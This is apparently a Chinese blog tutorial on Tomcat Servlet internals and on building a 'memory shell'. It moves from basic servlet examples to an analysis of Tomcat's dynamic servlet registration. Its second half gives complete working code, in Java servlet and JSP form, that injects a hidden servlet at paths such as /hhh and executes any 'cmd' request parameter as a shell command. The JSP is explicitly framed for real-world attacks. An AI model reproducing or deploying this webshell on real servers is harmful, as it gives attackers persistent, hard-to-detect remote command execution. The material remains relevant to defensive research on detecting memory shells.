servlet内存马学习

news/2025/1/16 2:58:10/

项目配置
在这里插入图片描述
在这里插入图片描述
注意一定要添加
在这里插入图片描述
否则访问路径会404,tomcat并没有对项目生效

1.实现javax.servlet.Servlet接口的方式

Servlet.class:

package org.test;import javax.servlet.*;
import java.io.IOException;public class ServletTest implements Servlet {@Overridepublic void init(ServletConfig servletConfig) throws ServletException {System.out.println("init");}@Overridepublic ServletConfig getServletConfig() {return null;}@Overridepublic void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {System.out.println("service");}@Overridepublic String getServletInfo() {return null;}@Overridepublic void destroy() {System.out.println("destroy");}
}

web.xml:

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"version="4.0"><servlet><servlet-name>demo1</servlet-name><servlet-class>org.test.ServletTest</servlet-class></servlet><servlet-mapping><servlet-name>demo1</servlet-name><url-pattern>/demo1</url-pattern></servlet-mapping>
</web-app>

pom.xml:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"><modelVersion>4.0.0</modelVersion><groupId>org.example</groupId><artifactId>servlet_ncm</artifactId><version>1.0-SNAPSHOT</version><dependencies><dependency><groupId>org.apache.tomcat.embed</groupId><artifactId>tomcat-embed-core</artifactId><version>8.5.43</version></dependency></dependencies><properties><maven.compiler.source>8</maven.compiler.source><maven.compiler.target>8</maven.compiler.target><project.build.sourceEncoding>UTF-8</project.build.sourceEncoding></properties></project>

效果:
启动后,访问url,可以看到成功输出init和service
在这里插入图片描述
停止后,可以看到输出destroy
在这里插入图片描述
注解的方式:

package org.test;import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import java.io.IOException;@WebServlet("/demo1")
public class ServletTest implements Servlet {@Overridepublic void init(ServletConfig servletConfig) throws ServletException {System.out.println("init");}@Overridepublic ServletConfig getServletConfig() {return null;}@Overridepublic void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {System.out.println("service");}@Overridepublic String getServletInfo() {return null;}@Overridepublic void destroy() {System.out.println("destroy");}
}

在这里插入图片描述

2.继承GenericServlet类创建Servlet

以下全是注解形式来看

package org.test;import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import java.io.IOException;@WebServlet("/demo2")
public class ServletTest extends GenericServlet{@Overridepublic void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {System.out.println("service");}
}

在这里插入图片描述

3.继承了HttpServlet进行创建

package org.test;import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;@WebServlet("/demo3")
public class ServletTest extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp)throws ServletException, IOException {System.out.println("doGet...");}@Overrideprotected void doPost(HttpServletRequest req, HttpServletResponse resp)throws ServletException, IOException {System.out.println("doPost...");doGet(req,resp);}
}

在这里插入图片描述
其实看似使用三种创建Servlet的方式,但是实际上也是同一种方法进行创建的,是不同的的封装罢了。
在这里插入图片描述
由上图可知:
1.GenericServlet 是实现了 Servlet 接口的抽象类。
2.HttpServlet 是 GenericServlet 的子类,具有 GenericServlet 的一切特性。
3.Servlet 程序(MyServlet 类)是一个实现了 Servlet 接口的 Java 类。
调试javax.servlet.Servlet接口的方法触发对应Servlet的service方法
查看其调用栈
在这里插入图片描述
可以看到红框中是其调用栈

分析内存马注入的地方
javax.servlet.ServletContext接口中声明了几个和Servlet创建相关的方法
首先找createServlet
在这里插入图片描述
然后看其实现处
org.apache.catalina.core.ApplicationContextFacade
在这里插入图片描述
然后我们来看看addServlet
在这里插入图片描述
可以看到有三个重载方法,返回均为ServletRegistration.Dynamic类型
他在Tomcat容器中的实现
在这里插入图片描述

private ServletRegistration.Dynamic addServlet(String servletName, String servletClass,Servlet servlet, Map<String,String> initParams) throws IllegalStateException {if (servletName == null || servletName.equals("")) {throw new IllegalArgumentException(sm.getString("applicationContext.invalidServletName", servletName));}if (!context.getState().equals(LifecycleState.STARTING_PREP)) {//TODO Spec breaking enhancement to ignore this restrictionthrow new IllegalStateException(sm.getString("applicationContext.addServlet.ise",getContextPath()));}Wrapper wrapper = (Wrapper) context.findChild(servletName);// Assume a 'complete' ServletRegistration is one that has a class and// a nameif (wrapper == null) {wrapper = context.createWrapper();wrapper.setName(servletName);context.addChild(wrapper);} else {if (wrapper.getName() != null &&wrapper.getServletClass() != null) {if (wrapper.isOverridable()) {wrapper.setOverridable(false);} else {return null;}}}ServletSecurity annotation = null;if (servlet == null) {wrapper.setServletClass(servletClass);Class<?> clazz = Introspection.loadClass(context, servletClass);if (clazz != null) {annotation = clazz.getAnnotation(ServletSecurity.class);}} else {wrapper.setServletClass(servlet.getClass().getName());wrapper.setServlet(servlet);if (context.wasCreatedDynamicServlet(servlet)) {annotation = servlet.getClass().getAnnotation(ServletSecurity.class);}}if (initParams != null) {for (Map.Entry<String, String> initParam: initParams.entrySet()) {wrapper.addInitParameter(initParam.getKey(), initParam.getValue());}}ServletRegistration.Dynamic registration =new ApplicationServletRegistration(wrapper, context);if (annotation != null) {registration.setServletSecurity(new ServletSecurityElement(annotation));}return registration;
}

来解读这一段代码
1.首先同样会判断当前程序是否处于运行状态,如果处在运行状态就会抛出异常
2.之后将会在context中通过servletName查找对应的child并将其转化为Wrapper对象
3.如果没有找到,将会创建一个Wrapper对象,在添加进入servletName之后将wrapper添加进入context的child中去
4.如果servlet为空的话,将会创建一个ServletClass, 并加载这个Class
5.之后如果存在初始化参数的时候,将进行初始化操作
6.最后创建了一个ApplicationServletRegistration类,通过带入wrapper和context
也就是程序在运行过程中不能添加Servlet的限制,那么如何绕过呢?
在这里插入图片描述
进入ApplicationServletRegistration#addMapping方法
在这里插入图片描述
通过调用了StardContext#addServletMappingDecoded方法传入了url映射,在mapper中添加 URL 路径与 Wrapper 对象的映射。
在这里插入图片描述
可以看到wrapper是findChild(name)获得的,之后通过wrapper.addMapping增添了映射,很明显,大概的流程我们已经知道了。
1.首先创建一个自定义的Servlet类
2.对Wrapper进行封装
3.再将封装之后的wrapper添加进入StandardContext类中的children中去
4.最后通过调用addServletMappingDecoded方法添加url映射

内存马编写:

package org.test;import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.Scanner;@WebServlet("/test")
public class servlet_ncm extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {this.doPost(req, resp);}@Overrideprotected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {//从req中获取ServletContext对象String name = "RoboTerh";ServletContext servletContext = req.getServletContext();if (servletContext.getServletRegistration(name) == null) {StandardContext o = null;// 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象while (o == null) {Field f = null;try {f = servletContext.getClass().getDeclaredField("context");f.setAccessible(true);Object object = f.get(servletContext);if (object instanceof ServletContext) {servletContext = (ServletContext) object;} else if (object instanceof StandardContext) {o = (StandardContext) object;}} catch (NoSuchFieldException e) {throw new RuntimeException(e);} catch (IllegalAccessException e) {throw new RuntimeException(e);}}//1.创建自定义servletServlet servlet = new Servlet() {@Overridepublic void init(ServletConfig config) throws ServletException {}@Overridepublic ServletConfig getServletConfig() {return null;}@Overridepublic void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {String cmd = req.getParameter("cmd");boolean islinux = true;String osType = System.getProperty("os.name");if (osType != null && osType.toLowerCase().contains("win")) {islinux = false;}String[] cmds = islinux ? new String[]{"/bin/bash", "-c", cmd} : new String[]{"cmd.exe", "-c", cmd};InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();Scanner s = new Scanner(in).useDelimiter("\\a"); //Scanner类,这是一个用于扫描输入文本的新的实用程序,useDelimiter( )方法,可以将分隔符号修改为"回车",或者其他字符。String output = s.hasNext() ? s.next() : "";PrintWriter out = res.getWriter();out.println(output);out.flush();out.close();}@Overridepublic String getServletInfo() {return null;}@Overridepublic void destroy() {}};//2.对Wrapper进行封装Wrapper wrapper = o.createWrapper();wrapper.setName(name);wrapper.setLoadOnStartup(1);wrapper.setServlet(servlet);//3.将封装之后的wrapper添加进入StandardContext类中的children中去o.addChild(wrapper);//4.用addServletMappingDecoded方法添加url映射o.addServletMappingDecoded("/hhh",name);PrintWriter printWriter = resp.getWriter();printWriter.println("servlet added");}}
}

效果:
在这里插入图片描述

在这里插入图片描述
自己写的出点问题,用原作者的吧

package org.test;import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.Scanner;@WebServlet("/test2")
public class servlet_ncm2 extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {this.doPost(req, resp);}@Overrideprotected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {try {String name = "RoboTerh";//从req中获取ServletContext对象ServletContext servletContext = req.getServletContext();if (servletContext.getServletRegistration(name) == null) {StandardContext o = null;// 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象while (o == null) {Field f = servletContext.getClass().getDeclaredField("context");f.setAccessible(true);Object object = f.get(servletContext);if (object instanceof ServletContext) {servletContext = (ServletContext) object;} else if (object instanceof StandardContext) {o = (StandardContext) object;}}//自定义servletServlet servlet = new Servlet() {@Overridepublic void init(ServletConfig servletConfig) throws ServletException {}@Overridepublic ServletConfig getServletConfig() {return null;}@Overridepublic void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {String cmd = servletRequest.getParameter("cmd");boolean isLinux = true;String osTyp = System.getProperty("os.name");if (osTyp != null && osTyp.toLowerCase().contains("win")) {isLinux = false;}String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();Scanner s = new Scanner(in).useDelimiter("\\a");String output = s.hasNext() ? s.next() : "";PrintWriter out = servletResponse.getWriter();out.println(output);out.flush();out.close();}@Overridepublic String getServletInfo() {return null;}@Overridepublic void destroy() {}};//用Wrapper封装servletWrapper newWrapper = o.createWrapper();newWrapper.setName(name);newWrapper.setLoadOnStartup(1);newWrapper.setServlet(servlet);//向children中添加Wrappero.addChild(newWrapper);//添加servlet的映射o.addServletMappingDecoded("/hhh2", name);PrintWriter printWriter = resp.getWriter();printWriter.println("servlet added");}}catch (Exception e) {e.printStackTrace();}}
}

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
可以看到内存马成功执行

为了实战方便,写到jsp中,这里将获得StandardContext换了写法,更加方便

<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.io.IOException" %>
<%@ page import="sun.invoke.util.Wrapper" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%Servlet servlet = new Servlet() {@Overridepublic void init(ServletConfig servletConfig) throws ServletException {}@Overridepublic ServletConfig getServletConfig() {return null;}@Overridepublic void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException, IOException {String cmd = servletRequest.getParameter("cmd");boolean isLinux = true;String osTyp = System.getProperty("os.name");if (osTyp != null && osTyp.toLowerCase().contains("win")) {isLinux = false;}String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();Scanner s = new Scanner(in).useDelimiter("\\a");String output = s.hasNext() ? s.next() : "";PrintWriter out = servletResponse.getWriter();out.println(output);out.flush();out.close();}@Overridepublic String getServletInfo() {return null;}@Overridepublic void destroy() {}};
%>
<%//用Wrapper封装servletString name = "aaa";org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();StandardContext o = (StandardContext)webappClassLoaderBase.getResources().getContext();org.apache.catalina.Wrapper newWrapper = o.createWrapper();newWrapper.setName(name);newWrapper.setLoadOnStartup(1);newWrapper.setServlet(servlet);//向children中添加Wrappero.addChild(newWrapper);//添加servlet的映射o.addServletMappingDecoded("/hhh3", name);%>

效果:
在这里插入图片描述
可以看到没有,那么先来加载jsp文件
在这里插入图片描述
再访问内存马
在这里插入图片描述
成功访问到内存马


http://www.ppmy.cn/news/1069903.html

相关文章

go gin 自定义验证

我们上一篇已经提到了gin中binding时候可以指定json字段大小等限制&#xff0c;但是那个错误却是英文的&#xff0c;现在想搞成中文的&#xff0c;以便前端可读&#xff0c;demo如下 package mainimport ("net/http""reflect""github.com/gin-gonic/…

使用亥姆霍兹线圈的注意事项

亥姆霍兹线圈由一对完全相同的圆形导体线圈组成。采用直角坐标系&#xff0c;两个半径为R的圆形线圈的中心轴与z轴同轴。两个圆形线圈的z坐标分别为和。每个导体线圈都有相同的电流I。 设置可以减少两个线圈中心O(即原点)的磁场不均匀性。这种动作促使&#xff0c;也意味着非零…

【Leetcode】P1 两数之和.py(未完待续)

题目描述 已知&#xff1a; 整数数组&#xff1a; n u m s nums nums整数目标值&#xff1a; t a r g e t target target 要求&#xff1a; 要求在 n u m s nums nums 数组中找到和的值为 t a r g e t target target 的两个整数 返回&#xff1a; 返回两个整数的数组下…

Unity记录4.4-存储-系统数据以配置文件保存

文章首发见博客&#xff1a;https://mwhls.top/4818.html。 无图/格式错误/后续更新请见首发页。 更多更新请到mwhls.top查看 欢迎留言提问或批评建议&#xff0c;私信不回。 汇总&#xff1a;Unity 记录 摘要&#xff1a;处处修改->一处修改的系统配置文件。 思路-2023/08/…

深入浅出SSD:固态存储核心技术、原理与实战(文末赠书)

名字&#xff1a;阿玥的小东东 学习&#xff1a;Python、C/C 主页链接&#xff1a;阿玥的小东东的博客_CSDN博客-python&&c高级知识,过年必备,C/C知识讲解领域博主 目录 内容简介 作者简介 使用Python做一个计算器 本期赠书 近年来国家大力支持半导体行业&#xff0…

Sqlserver关于SSISDB的灾备问题

数据库实例升级或安装补丁时可能会运行SSIS_hotfix_install.sql&#xff0c;Sqlserver 2016版本的默认实例名的情况下&#xff0c;SSIS_hotfix_install.sql此文件存在操作系统的C:\Program Files\Microsoft SQL Server\MSSQL13.MSSQLSERVER\MSSQL\Install目录下&#xff0c;此文…

第一百二十八回 ModalBarrier Widget

文章目录 概念介绍使用方法示例代码 我们在上一章回中介绍了空类型和空安全相关的内容&#xff0c;本章回中将介绍 ModalBarrier组件.闲话休提&#xff0c;让我们一起Talk Flutter吧。 概念介绍 我们在本章回中介绍的ModalBarrier是一种组件&#xff0c;它主要用来当作蒙板覆…

从零开始学习Python爬虫技术,并应用于市场竞争情报收集

在当今信息爆炸的时代&#xff0c;市场竞争情报收集对企业的发展至关重要。Python爬虫技术可以帮助我们高效地收集网络上的有价值信息。本文将从零开始介绍Python爬虫技术&#xff0c;并探讨如何将其应用于市场竞争情报收集。 一、Python爬虫技术基础 安装Python环境 首先&…